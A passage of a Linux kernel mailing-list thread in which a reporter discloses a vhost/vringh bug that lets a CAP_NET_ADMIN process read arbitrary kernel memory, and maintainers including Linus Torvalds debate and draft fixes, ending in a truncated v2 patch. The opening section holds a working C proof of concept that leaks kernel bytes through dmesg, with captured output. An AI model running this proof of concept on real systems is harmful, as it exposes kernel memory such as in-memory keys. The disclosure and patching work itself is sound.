> 	__u64 ack = 0;
> 	ack |= (1ULL << VIRTIO_F_ACCESS_PLATFORM);
> 	ack |= (1ULL << VIRTIO_F_VERSION_1);
> 	ack |= (1ULL << VIRTIO_F_ANY_LAYOUT);
> 	ack &= feat;
> 	if (!(ack & (1ULL << VIRTIO_F_ACCESS_PLATFORM))) die("ACCESS_PLATFORM not supported - no use_va?");
> 	if (ioctl(vfd, VHOST_SET_FEATURES, &ack)) die("set_features (need ACCESS_PLATFORM)");
> 
> 	struct vhost_vring_state vs = { .index = 0, .num = 1 };
> 	if (ioctl(vfd, VHOST_SET_VRING_NUM, &vs)) die("set_vring_num");
> 
> 	size_t pg = 4096;
> 	void *descbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
> 	void *usedbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
> 	if (descbuf == MAP_FAILED || usedbuf == MAP_FAILED) die("mmap");
> 	memset(descbuf, 0, pg); memset(usedbuf, 0, pg);
> 
> 	struct vhost_vring_addr va = {0};
> 	va.index = 0;
> 	va.flags = 0;
> 	va.desc_user_addr  = (uintptr_t)descbuf;
> 	va.avail_user_addr = (uintptr_t)banner;   /* <-- KERNEL address, the leak source */
> 	va.used_user_addr  = (uintptr_t)usedbuf;
> 	va.log_guest_addr  = 0;
> 	if (ioctl(vfd, VHOST_SET_VRING_ADDR, &va)) die("set_vring_addr (avail=kernel addr rejected?)");
> 
> 	struct vhost_vring_state base = { .index = 0, .num = 0 };
> 	if (ioctl(vfd, VHOST_SET_VRING_BASE, &base)) die("set_vring_base");
> 
> 	struct vhost_vring_file cf = { .index = 0, .fd = callfd };
> 	if (ioctl(vfd, VHOST_SET_VRING_CALL, &cf)) die("set_vring_call");
> 	struct vhost_vring_file kf = { .index = 0, .fd = kickfd };
> 	if (ioctl(vfd, VHOST_SET_VRING_KICK, &kf)) die("set_vring_kick");
> 
> 	struct vhost_vring_state en = { .index = 0, .num = 1 };
> 	if (ioctl(vfd, VHOST_VDPA_SET_VRING_ENABLE, &en)) die("set_vring_enable");
> 
> 	__u8 status = VIRTIO_CONFIG_S_ACKNOWLEDGE | VIRTIO_CONFIG_S_DRIVER
> 	            | VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER_OK;
> 	if (ioctl(vfd, VHOST_VDPA_SET_STATUS, &status)) die("set_status DRIVER_OK");
> 
> 	uint64_t one = 1;
> 	if (write(kickfd, &one, sizeof(one)) != sizeof(one)) die("kick write");
> 
> 	unsigned leaked = 0; int found = 0;
> 	for (int try = 0; try < 20 && !found; try++) {
> 		usleep(100000);
> 		FILE *d = popen("dmesg 2>/dev/null", "r");
> 		if (d) {
> 			char l[512];
> 			while (fgets(l, sizeof(l), d)) {
> 				char *p = strstr(l, "Guest says index");
> 				if (p) {
> 					unsigned idx = 0, numv = 0;
> 					if (sscanf(p, "Guest says index %u > %u is available",
> 						   &idx, &numv) >= 1) {
> 						leaked = idx; found = 1;
> 						fprintf(stderr, "[!!] dmesg: %s", l);
> 						break;
> 					}
> 				}
> 			}
> 			pclose(d);
> 		}
> 	}
> 
> 	if (!found) {
> 		fprintf(stderr, "[!] no vringh_bad leak line in dmesg; dumping tail:\n");
> 		FILE *d = popen("dmesg 2>/dev/null | tail -40", "r");
> 		if (d) { char l[512]; while (fgets(l, sizeof(l), d)) fputs(l, stderr); pclose(d); }
> 		die("leak not observed (worker may not have run, or use_va/mm_bound not set)");
> 	}
> 
> 	fprintf(stderr, "\n=== RESULT ===\n");
> 	fprintf(stderr, "leaked kernel u16 @ linux_banner+4 = 0x%04x (%u)\n", leaked, leaked);
> 	fprintf(stderr, "expected (/proc/version[4,5])     = 0x%04x (%u)\n", exp, exp);
> 	if (leaked == exp) {
> 		fprintf(stderr, "MATCH: __get_user read 2 bytes at kernel addr 0x%lx via vringh.c:1216\n", banner + 4);
> 		fprintf(stderr, "PROVEN: arbitrary-kernel-address 2-byte read (no access_ok) on unmodified kernel\n");
> 	} else {
> 		fprintf(stderr, "MISMATCH - investigate\n");
> 	}
> 
> 	status = 0; ioctl(vfd, VHOST_VDPA_SET_STATUS, &status);
> 	close(vfd); close(callfd); close(kickfd);
> 	genl_dev_del(fam, "sim0");
> 	return (leaked == exp) ? 0 : 2;
> }
> ```
> 
> Captured dmesg from the 7.2.10 run (the disclosed leaked value):
> ```
> [    1.882938] vringh:
> [    1.882944] Guest says index 8312 > 1 is available
> ```
> 
> 7. Impact
> Privileged kernel memory information leak: a CAP_NET_ADMIN controller can
> read 2 bytes at an arbitrary kernel virtual address per vring kick via
> __get_user() with no access_ok(), and the value is disclosed to dmesg via
> vringh_bad(). The read is repeatable, so the whole kernel address space
> can be scanned 2 bytes at a time (kernel .text/.data, structure contents,
> in-memory keys). CAP_NET_ADMIN should not grant arbitrary kernel-memory
> reads. No memory corruption. KASLR does not prevent it (only the address 
> is randomized, the leaked content is constant). Only the use_va mode is 
> affected (the non-use_va path goes through GUP, which has an equivalent 
> check_range guard).
> 
> Please let me know if you need more detail.
> 
> Best regards,
> Haoran Wang <haoranwangsec@gmail.com>

Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough

[Michael S. Tsirkin]

On Thu, Oct 15, 2026 at 03:23:45PM +0800, Haoran Wang wrote:
> I'd like to report an issue in drivers/vhost/vringh.c:1216 (function
> getu16_iotlb), found via static analysis of Linux 7.0.11 and verified
> against the 7.2.10 source tree. I have reproduced the leak on an
> unmodified 7.2.10 kernel.


This should fix it I think? Can you confirm pls?

Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
---
 drivers/vhost/vringh.c | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/drivers/vhost/vringh.c b/drivers/vhost/vringh.c
index 9066f9f12ba1..4b097170bd36 100644
--- a/drivers/vhost/vringh.c
+++ b/drivers/vhost/vringh.c
@@ -1213,7 +1213,11 @@ static inline int getu16_iotlb(const struct vringh *vrh,
 		return ret;
 
 	if (vrh->use_va) {
-		ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
+		__virtio16 __user *uaddr = ivec.iov.iovec[0].iov_base;
+
+		if (!access_ok(uaddr, sizeof(*p)))
+			return -EFAULT;
+		ret = __get_user(tmp, uaddr);
 		if (ret)
 			return ret;
 	} else {
@@ -1251,7 +1255,11 @@ static inline int putu16_iotlb(const struct vringh *vrh,
 	tmp = cpu_to_vringh16(vrh, val);
 
 	if (vrh->use_va) {
-		ret = __put_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
+		__virtio16 __user *uaddr = ivec.iov.iovec[0].iov_base;
+
+		if (!access_ok(uaddr, sizeof(*p)))
+			return -EFAULT;
+		ret = __put_user(tmp, uaddr);
 		if (ret)
 			return ret;
 	} else {

Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough

[David Laight]

On Sun, 18 Oct 2026 15:24:41 -0400
"Michael S. Tsirkin" <mst@redhat.com> wrote:

> On Thu, Oct 15, 2026 at 03:23:45PM +0800, Haoran Wang wrote:
> > I'd like to report an issue in drivers/vhost/vringh.c:1216 (function
> > getu16_iotlb), found via static analysis of Linux 7.0.11 and verified
> > against the 7.2.10 source tree. I have reproduced the leak on an
> > unmodified 7.2.10 kernel.  
> 
> 
> This should fix it I think? Can you confirm pls?
> 
> Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
> ---
>  drivers/vhost/vringh.c | 11 ++++++++---
>  1 file changed, 8 insertions(+), 3 deletions(-)
> 
> diff --git a/drivers/vhost/vringh.c b/drivers/vhost/vringh.c
> index 9066f9f12ba1..4b097170bd36 100644
> --- a/drivers/vhost/vringh.c
> +++ b/drivers/vhost/vringh.c
> @@ -1213,7 +1213,11 @@ static inline int getu16_iotlb(const struct vringh *vrh,
>  		return ret;
>  
>  	if (vrh->use_va) {
> -		ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
> +		__virtio16 __user *uaddr = ivec.iov.iovec[0].iov_base;
> +
> +		if (!access_ok(uaddr, sizeof(*p)))
> +			return -EFAULT;
> +		ret = __get_user(tmp, uaddr);

Can't that be a normal get_user() call?

David

>  		if (ret)
>  			return ret;
>  	} else {
> @@ -1251,7 +1255,11 @@ static inline int putu16_iotlb(const struct vringh *vrh,
>  	tmp = cpu_to_vringh16(vrh, val);
>  
>  	if (vrh->use_va) {
> -		ret = __put_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
> +		__virtio16 __user *uaddr = ivec.iov.iovec[0].iov_base;
> +
> +		if (!access_ok(uaddr, sizeof(*p)))
> +			return -EFAULT;
> +		ret = __put_user(tmp, uaddr);
>  		if (ret)
>  			return ret;
>  	} else {
> 
> 

Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough

[Michael S. Tsirkin]

On Sun, Oct 18, 2026 at 08:48:38PM +0100, David Laight wrote:
> On Sun, 18 Oct 2026 15:24:41 -0400
> "Michael S. Tsirkin" <mst@redhat.com> wrote:
> 
> > On Thu, Oct 15, 2026 at 03:23:45PM +0800, Haoran Wang wrote:
> > > I'd like to report an issue in drivers/vhost/vringh.c:1216 (function
> > > getu16_iotlb), found via static analysis of Linux 7.0.11 and verified
> > > against the 7.2.10 source tree. I have reproduced the leak on an
> > > unmodified 7.2.10 kernel.  
> > 
> > 
> > This should fix it I think? Can you confirm pls?
> > 
> > Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
> > ---
> >  drivers/vhost/vringh.c | 11 ++++++++---
> >  1 file changed, 8 insertions(+), 3 deletions(-)
> > 
> > diff --git a/drivers/vhost/vringh.c b/drivers/vhost/vringh.c
> > index 9066f9f12ba1..4b097170bd36 100644
> > --- a/drivers/vhost/vringh.c
> > +++ b/drivers/vhost/vringh.c
> > @@ -1213,7 +1213,11 @@ static inline int getu16_iotlb(const struct vringh *vrh,
> >  		return ret;
> >  
> >  	if (vrh->use_va) {
> > -		ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
> > +		__virtio16 __user *uaddr = ivec.iov.iovec[0].iov_base;
> > +
> > +		if (!access_ok(uaddr, sizeof(*p)))
> > +			return -EFAULT;
> > +		ret = __get_user(tmp, uaddr);
> 
> Can't that be a normal get_user() call?
> 
> David

Now that you mention it, yes. Thanks!

> >  		if (ret)
> >  			return ret;
> >  	} else {
> > @@ -1251,7 +1255,11 @@ static inline int putu16_iotlb(const struct vringh *vrh,
> >  	tmp = cpu_to_vringh16(vrh, val);
> >  
> >  	if (vrh->use_va) {
> > -		ret = __put_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
> > +		__virtio16 __user *uaddr = ivec.iov.iovec[0].iov_base;
> > +
> > +		if (!access_ok(uaddr, sizeof(*p)))
> > +			return -EFAULT;
> > +		ret = __put_user(tmp, uaddr);
> >  		if (ret)
> >  			return ret;
> >  	} else {
> > 
> > 

Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough

[Michael S. Tsirkin]

On Sun, Oct 18, 2026 at 08:48:38PM +0100, David Laight wrote:
> On Sun, 18 Oct 2026 15:24:41 -0400
> "Michael S. Tsirkin" <mst@redhat.com> wrote:
> 
> > On Thu, Oct 15, 2026 at 03:23:45PM +0800, Haoran Wang wrote:
> > > I'd like to report an issue in drivers/vhost/vringh.c:1216 (function
> > > getu16_iotlb), found via static analysis of Linux 7.0.11 and verified
> > > against the 7.2.10 source tree. I have reproduced the leak on an
> > > unmodified 7.2.10 kernel.  
> > 
> > 
> > This should fix it I think? Can you confirm pls?
> > 
> > Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
> > ---
> >  drivers/vhost/vringh.c | 11 ++++++++---
> >  1 file changed, 8 insertions(+), 3 deletions(-)
> > 
> > diff --git a/drivers/vhost/vringh.c b/drivers/vhost/vringh.c
> > index 9066f9f12ba1..4b097170bd36 100644
> > --- a/drivers/vhost/vringh.c
> > +++ b/drivers/vhost/vringh.c
> > @@ -1213,7 +1213,11 @@ static inline int getu16_iotlb(const struct vringh *vrh,
> >  		return ret;
> >  
> >  	if (vrh->use_va) {
> > -		ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
> > +		__virtio16 __user *uaddr = ivec.iov.iovec[0].iov_base;
> > +
> > +		if (!access_ok(uaddr, sizeof(*p)))
> > +			return -EFAULT;
> > +		ret = __get_user(tmp, uaddr);
> 
> Can't that be a normal get_user() call?
> 
> David

Ugh, actually no. This is called under local_bh_disable.

get_user would splat on might_sleep.


> >  		if (ret)
> >  			return ret;
> >  	} else {
> > @@ -1251,7 +1255,11 @@ static inline int putu16_iotlb(const struct vringh *vrh,
> >  	tmp = cpu_to_vringh16(vrh, val);
> >  
> >  	if (vrh->use_va) {
> > -		ret = __put_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
> > +		__virtio16 __user *uaddr = ivec.iov.iovec[0].iov_base;
> > +
> > +		if (!access_ok(uaddr, sizeof(*p)))
> > +			return -EFAULT;
> > +		ret = __put_user(tmp, uaddr);
> >  		if (ret)
> >  			return ret;
> >  	} else {
> > 
> > 

Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough

[Michael S. Tsirkin]

On Sun, Oct 18, 2026 at 12:06:36PM -1000, Linus Torvalds wrote:
> >     > > +
> >     > > +           if (!access_ok(uaddr, sizeof(*p)))
> >     > > +                   return -EFAULT;
> >     > > +           ret = __get_user(tmp, uaddr);
> >     >
> >     > Can't that be a normal get_user() call?
> >     >
> >     > David
> 
> 
> >     Ugh, actually no. This is called under local_bh_disable.
> > 
> >     get_user would splat on might_sleep.


> I[ sorry for html - driving around ]
> 
> That's a separate bug, and you really shouldn't use __get_user to work around
> it just because it doesn't check. 
> 
> You should use pagefault_disable() around the access. And if there is still a
> sleep_on() complaint, that should be fixed. 
> 
>         Linus


Thanks Linus, will look into this.

-- 
MST

Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough

[Linus Torvalds]

On Sun, 18 Oct 2026 at 12:06, Linus Torvalds
<torvalds@linuxfoundation.org> wrote:
>
> That's a separate bug, and you really shouldn't use __get_user to work around it just because it doesn't check.
>
> You should use pagefault_disable() around the access. And if there is still a sleep_on() complaint, that should be fixed.

Ok, no longer driving around and checked: using pagefault_disable()
around the get_user() should indeed fix the warning, because
get_user() uses 'might_fault()', which doesn't complain if
pagefault_disabled() is set.

Admittedly the actual fault handler uses a different check: it uses
faulthandler_disabled(), which also checks for "in_atomic()", which is
why that __get_user() case just silently happened to work (badly).

But that check is historical - but actively wrong - the added
in_atomic() check in faulthandler_disabled() also checks for disabled
preemption, which is one of those "it's not reliable" things (because
the preemption count depends on whether preemption is enabled at
all!).

So no. There are exactly _zero_ valid reasons to use __get_user() and
friends. We really need to just get rid of that broken garbage. All it
does now is open up potential security holes and allow people to avoid
warnings for actively buggy code.

               Linus

Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough

[Linus Torvalds]

On Sun, 18 Oct 2026 at 09:26, Michael S. Tsirkin <mst@redhat.com> wrote:
>
> +               __virtio16 __user *uaddr = ivec.iov.iovec[0].iov_base;
> +
> +               if (!access_ok(uaddr, sizeof(*p)))
> +                       return -EFAULT;
> +               ret = __get_user(tmp, uaddr);

You should never use __get_user() in the first place. It is almost
always just a bug.

And __get_user() together with access_ok() is actively wrong and
stupid. It's slower, bigger, and more bug-prone than just using
"get_user()".

The *only* reason ever to use __get_user() is in very very iffy code
that might use a kernel pointer and doesn't want the access_ok() code.

Or old legacy code from the last century when __get_user() was faster
and was inlined.

               Linus

Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough

[Linus Torvalds]

[-- Attachment #1: Type: text/plain, Size: 1154 bytes --]

On Sun, 18 Oct 2026 at 10:34, Linus Torvalds
<torvalds@linuxfoundation.org> wrote:
>
> And __get_user() together with access_ok() is actively wrong and
> stupid. It's slower, bigger, and more bug-prone than just using
> "get_user()".

Btw, if you have *multiple* accesses to the same structure, that was a
historical reason to use access_ok() with multiple __get_user() calls.

But it's not a useful pattern today - and hasn't been for years -
because the real cost is not the access_ok(), but the stac/clac that
surrounds __get_user() on modern hardware.

If performance is really crticial, the new "unsafe_get_user()" model
is the way to go.

Here's an UNTESTED example patch of how to do a conversion. It
generates much better code than __get_user() ever did. That patch
looks good to me, but again: I didn't actually *test* it (and the
reason this signal.c code has never been updated to the modern pattern
is that it really doesn't matter for performance - I decided to use it
as an example not because it matters, but because it's a good example
code-sequence for the legacy model conversion).

Somebody should test it.

                     Linus

[-- Attachment #2: patch.diff --]
[-- Type: text/x-patch, Size: 3551 bytes --]

 kernel/signal.c | 56 ++++++++++++++++++++++++++++++--------------------------
 1 file changed, 30 insertions(+), 26 deletions(-)

diff --git a/kernel/signal.c b/kernel/signal.c
index d31ebcb6ed4d..0fd1296e912b 100644
--- a/kernel/signal.c
+++ b/kernel/signal.c
@@ -4776,12 +4776,12 @@ SYSCALL_DEFINE3(sigaction, int, sig,
 
 	if (act) {
 		old_sigset_t mask;
-		if (!access_ok(act, sizeof(*act)) ||
-		    __get_user(new_ka.sa.sa_handler, &act->sa_handler) ||
-		    __get_user(new_ka.sa.sa_restorer, &act->sa_restorer) ||
-		    __get_user(new_ka.sa.sa_flags, &act->sa_flags) ||
-		    __get_user(mask, &act->sa_mask))
-			return -EFAULT;
+		scoped_user_read_access(act, Efault) {
+			unsafe_get_user(new_ka.sa.sa_handler, &act->sa_handler, Efault);
+			unsafe_get_user(new_ka.sa.sa_restorer, &act->sa_restorer, Efault);
+			unsafe_get_user(new_ka.sa.sa_flags, &act->sa_flags, Efault);
+			unsafe_get_user(mask, &act->sa_mask, Efault);
+		}
 #ifdef __ARCH_HAS_KA_RESTORER
 		new_ka.ka_restorer = NULL;
 #endif
@@ -4791,15 +4791,18 @@ SYSCALL_DEFINE3(sigaction, int, sig,
 	ret = do_sigaction(sig, act ? &new_ka : NULL, oact ? &old_ka : NULL);
 
 	if (!ret && oact) {
-		if (!access_ok(oact, sizeof(*oact)) ||
-		    __put_user(old_ka.sa.sa_handler, &oact->sa_handler) ||
-		    __put_user(old_ka.sa.sa_restorer, &oact->sa_restorer) ||
-		    __put_user(old_ka.sa.sa_flags, &oact->sa_flags) ||
-		    __put_user(old_ka.sa.sa_mask.sig[0], &oact->sa_mask))
-			return -EFAULT;
+		scoped_user_write_access(act, Efault) {
+			unsafe_put_user(old_ka.sa.sa_handler, &oact->sa_handler, Efault);
+			unsafe_put_user(old_ka.sa.sa_restorer, &oact->sa_restorer, Efault);
+			unsafe_put_user(old_ka.sa.sa_flags, &oact->sa_flags, Efault);
+			unsafe_put_user(old_ka.sa.sa_mask.sig[0], &oact->sa_mask, Efault);
+		}
 	}
 
 	return ret;
+
+Efault:
+	return -EFAULT;
 }
 #endif
 #ifdef CONFIG_COMPAT_OLD_SIGACTION
@@ -4813,12 +4816,12 @@ COMPAT_SYSCALL_DEFINE3(sigaction, int, sig,
 	compat_uptr_t handler, restorer;
 
 	if (act) {
-		if (!access_ok(act, sizeof(*act)) ||
-		    __get_user(handler, &act->sa_handler) ||
-		    __get_user(restorer, &act->sa_restorer) ||
-		    __get_user(new_ka.sa.sa_flags, &act->sa_flags) ||
-		    __get_user(mask, &act->sa_mask))
-			return -EFAULT;
+		scoped_user_read_access(act, Efault) {
+			unsafe_get_user(handler, &act->sa_handler, Efault);
+			unsafe_get_user(restorer, &act->sa_restorer, Efault);
+			unsafe_get_user(new_ka.sa.sa_flags, &act->sa_flags, Efault);
+			unsafe_get_user(mask, &act->sa_mask, Efault);
+		}
 
 #ifdef __ARCH_HAS_KA_RESTORER
 		new_ka.ka_restorer = NULL;
@@ -4831,16 +4834,17 @@ COMPAT_SYSCALL_DEFINE3(sigaction, int, sig,
 	ret = do_sigaction(sig, act ? &new_ka : NULL, oact ? &old_ka : NULL);
 
 	if (!ret && oact) {
-		if (!access_ok(oact, sizeof(*oact)) ||
-		    __put_user(ptr_to_compat(old_ka.sa.sa_handler),
-			       &oact->sa_handler) ||
-		    __put_user(ptr_to_compat(old_ka.sa.sa_restorer),
-			       &oact->sa_restorer) ||
-		    __put_user(old_ka.sa.sa_flags, &oact->sa_flags) ||
-		    __put_user(old_ka.sa.sa_mask.sig[0], &oact->sa_mask))
-			return -EFAULT;
+		scoped_user_write_access(act, Efault) {
+			unsafe_put_user(ptr_to_compat(old_ka.sa.sa_handler), &oact->sa_handler, Efault);
+			unsafe_put_user(ptr_to_compat(old_ka.sa.sa_restorer), &oact->sa_restorer, Efault);
+			unsafe_put_user(old_ka.sa.sa_flags, &oact->sa_flags, Efault);
+			unsafe_put_user(old_ka.sa.sa_mask.sig[0], &oact->sa_mask, Efault);
+		}
 	}
 	return ret;
+
+Efault:
+	return -EFAULT;
 }
 #endif
 

Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough

[Michael S. Tsirkin]

On Sun, Oct 18, 2026 at 11:11:44AM -1000, Linus Torvalds wrote:
> On Sun, 18 Oct 2026 at 10:34, Linus Torvalds
> <torvalds@linuxfoundation.org> wrote:
> >
> > And __get_user() together with access_ok() is actively wrong and
> > stupid. It's slower, bigger, and more bug-prone than just using
> > "get_user()".
> 
> Btw, if you have *multiple* accesses to the same structure, that was a
> historical reason to use access_ok() with multiple __get_user() calls.
> 
> But it's not a useful pattern today - and hasn't been for years -
> because the real cost is not the access_ok(), but the stac/clac that
> surrounds __get_user() on modern hardware.
> 
> If performance is really crticial, the new "unsafe_get_user()" model
> is the way to go.

Thanks! I'll try to find the time to look into converting vhost to that.
The flood of ai found bugs I am dealing with will abate any day now.
Any... day... now...

> Here's an UNTESTED example patch of how to do a conversion. It
> generates much better code than __get_user() ever did. That patch
> looks good to me, but again: I didn't actually *test* it (and the
> reason this signal.c code has never been updated to the modern pattern
> is that it really doesn't matter for performance - I decided to use it
> as an example not because it matters, but because it's a good example
> code-sequence for the legacy model conversion).
> 
> Somebody should test it.
> 
>                      Linus

>  kernel/signal.c | 56 ++++++++++++++++++++++++++++++--------------------------
>  1 file changed, 30 insertions(+), 26 deletions(-)
> 
> diff --git a/kernel/signal.c b/kernel/signal.c
> index d31ebcb6ed4d..0fd1296e912b 100644
> --- a/kernel/signal.c
> +++ b/kernel/signal.c
> @@ -4776,12 +4776,12 @@ SYSCALL_DEFINE3(sigaction, int, sig,
>  
>  	if (act) {
>  		old_sigset_t mask;
> -		if (!access_ok(act, sizeof(*act)) ||
> -		    __get_user(new_ka.sa.sa_handler, &act->sa_handler) ||
> -		    __get_user(new_ka.sa.sa_restorer, &act->sa_restorer) ||
> -		    __get_user(new_ka.sa.sa_flags, &act->sa_flags) ||
> -		    __get_user(mask, &act->sa_mask))
> -			return -EFAULT;
> +		scoped_user_read_access(act, Efault) {
> +			unsafe_get_user(new_ka.sa.sa_handler, &act->sa_handler, Efault);
> +			unsafe_get_user(new_ka.sa.sa_restorer, &act->sa_restorer, Efault);
> +			unsafe_get_user(new_ka.sa.sa_flags, &act->sa_flags, Efault);
> +			unsafe_get_user(mask, &act->sa_mask, Efault);
> +		}
>  #ifdef __ARCH_HAS_KA_RESTORER
>  		new_ka.ka_restorer = NULL;
>  #endif
> @@ -4791,15 +4791,18 @@ SYSCALL_DEFINE3(sigaction, int, sig,
>  	ret = do_sigaction(sig, act ? &new_ka : NULL, oact ? &old_ka : NULL);
>  
>  	if (!ret && oact) {
> -		if (!access_ok(oact, sizeof(*oact)) ||
> -		    __put_user(old_ka.sa.sa_handler, &oact->sa_handler) ||
> -		    __put_user(old_ka.sa.sa_restorer, &oact->sa_restorer) ||
> -		    __put_user(old_ka.sa.sa_flags, &oact->sa_flags) ||
> -		    __put_user(old_ka.sa.sa_mask.sig[0], &oact->sa_mask))
> -			return -EFAULT;
> +		scoped_user_write_access(act, Efault) {
> +			unsafe_put_user(old_ka.sa.sa_handler, &oact->sa_handler, Efault);
> +			unsafe_put_user(old_ka.sa.sa_restorer, &oact->sa_restorer, Efault);
> +			unsafe_put_user(old_ka.sa.sa_flags, &oact->sa_flags, Efault);
> +			unsafe_put_user(old_ka.sa.sa_mask.sig[0], &oact->sa_mask, Efault);
> +		}
>  	}
>  
>  	return ret;
> +
> +Efault:
> +	return -EFAULT;
>  }
>  #endif
>  #ifdef CONFIG_COMPAT_OLD_SIGACTION
> @@ -4813,12 +4816,12 @@ COMPAT_SYSCALL_DEFINE3(sigaction, int, sig,
>  	compat_uptr_t handler, restorer;
>  
>  	if (act) {
> -		if (!access_ok(act, sizeof(*act)) ||
> -		    __get_user(handler, &act->sa_handler) ||
> -		    __get_user(restorer, &act->sa_restorer) ||
> -		    __get_user(new_ka.sa.sa_flags, &act->sa_flags) ||
> -		    __get_user(mask, &act->sa_mask))
> -			return -EFAULT;
> +		scoped_user_read_access(act, Efault) {
> +			unsafe_get_user(handler, &act->sa_handler, Efault);
> +			unsafe_get_user(restorer, &act->sa_restorer, Efault);
> +			unsafe_get_user(new_ka.sa.sa_flags, &act->sa_flags, Efault);
> +			unsafe_get_user(mask, &act->sa_mask, Efault);
> +		}
>  
>  #ifdef __ARCH_HAS_KA_RESTORER
>  		new_ka.ka_restorer = NULL;
> @@ -4831,16 +4834,17 @@ COMPAT_SYSCALL_DEFINE3(sigaction, int, sig,
>  	ret = do_sigaction(sig, act ? &new_ka : NULL, oact ? &old_ka : NULL);
>  
>  	if (!ret && oact) {
> -		if (!access_ok(oact, sizeof(*oact)) ||
> -		    __put_user(ptr_to_compat(old_ka.sa.sa_handler),
> -			       &oact->sa_handler) ||
> -		    __put_user(ptr_to_compat(old_ka.sa.sa_restorer),
> -			       &oact->sa_restorer) ||
> -		    __put_user(old_ka.sa.sa_flags, &oact->sa_flags) ||
> -		    __put_user(old_ka.sa.sa_mask.sig[0], &oact->sa_mask))
> -			return -EFAULT;
> +		scoped_user_write_access(act, Efault) {
> +			unsafe_put_user(ptr_to_compat(old_ka.sa.sa_handler), &oact->sa_handler, Efault);
> +			unsafe_put_user(ptr_to_compat(old_ka.sa.sa_restorer), &oact->sa_restorer, Efault);
> +			unsafe_put_user(old_ka.sa.sa_flags, &oact->sa_flags, Efault);
> +			unsafe_put_user(old_ka.sa.sa_mask.sig[0], &oact->sa_mask, Efault);
> +		}
>  	}
>  	return ret;
> +
> +Efault:
> +	return -EFAULT;
>  }
>  #endif
>  

Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough

[Michael S. Tsirkin]

On Sun, Oct 18, 2026 at 10:34:12AM -1000, Linus Torvalds wrote:
> On Sun, 18 Oct 2026 at 09:26, Michael S. Tsirkin <mst@redhat.com> wrote:
> >
> > +               __virtio16 __user *uaddr = ivec.iov.iovec[0].iov_base;
> > +
> > +               if (!access_ok(uaddr, sizeof(*p)))
> > +                       return -EFAULT;
> > +               ret = __get_user(tmp, uaddr);
> 
> You should never use __get_user() in the first place. It is almost
> always just a bug.

Right, I was thinking of some other code. This one should just be
get_user.

> And __get_user() together with access_ok() is actively wrong and
> stupid. It's slower, bigger, and more bug-prone than just using
> "get_user()".
> 
> The *only* reason ever to use __get_user() is in very very iffy code
> that might use a kernel pointer and doesn't want the access_ok() code.
> 
> Or old legacy code from the last century when __get_user() was faster
> and was inlined.
> 
>                Linus

Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough

[Michael S. Tsirkin]

On Mon, Oct 19, 2026 at 03:14:46PM +0800, Wang Haoran wrote:
> Eugenio previously offered some additional suggestions in reply to
> my patch email. Should these also be addressed?

The following seems to work for me. Testing would be appreciated.

From: Michael S. Tsirkin <mst@redhat.com>
Subject: [PATCH v2] vringh: use get_user/put_user in the use_va path

getu16_iotlb()/putu16_iotlb() pass the address produced by
iotlb_translate() straight to __get_user()/__put_user(),
without access_ok checked anywhere. Not good.

Switch to get_user()/put_user(), which are always
correct, and safer.

But the fact is that accessing user memory like this
will sometimes (rarely) race with page being swapped
out, trigger EFAULT, and it should be retried
from a worker, and vdpa_sim currently does not do this.

Fixes: 42823a871fd4 ("vringh: support VA with iotlb")
Cc: Stefano Garzarella <sgarzare@redhat.com>
Signed-off-by: Michael S. Tsirkin <mst@redhat.com>

---

Notes (changelog):
v1->v2:
    Use get_user()/put_user() wrapped in pagefault_disable() instead of
    access_ok() followed by __get_user()/__put_user(); the helpers are
    reached from BH-disabled sections, and __get_user() is not a valid
    way around that (David Laight, Linus Torvalds)

 drivers/vdpa/vdpa_sim/vdpa_sim_blk.c | 2 ++
 drivers/vdpa/vdpa_sim/vdpa_sim_net.c | 2 ++
 drivers/vhost/vringh.c               | 4 ++--
 3 files changed, 6 insertions(+), 2 deletions(-)

diff --git a/drivers/vdpa/vdpa_sim/vdpa_sim_blk.c b/drivers/vdpa/vdpa_sim/vdpa_sim_blk.c
index 76dd5b0828d7..325ec8f0ab85 100644
--- a/drivers/vdpa/vdpa_sim/vdpa_sim_blk.c
+++ b/drivers/vdpa/vdpa_sim/vdpa_sim_blk.c
@@ -347,8 +347,10 @@ static void vdpasim_blk_work(struct vdpasim *vdpasim)
 			smp_wmb();
 
 			local_bh_disable();
+			pagefault_disable();
 			if (vringh_need_notify_iotlb(&vq->vring) > 0)
 				vringh_notify(&vq->vring);
+			pagefault_enable();
 			local_bh_enable();
 
 			if (++reqs > 4) {
diff --git a/drivers/vdpa/vdpa_sim/vdpa_sim_net.c b/drivers/vdpa/vdpa_sim/vdpa_sim_net.c
index a6514b5ccd86..964cdf422467 100644
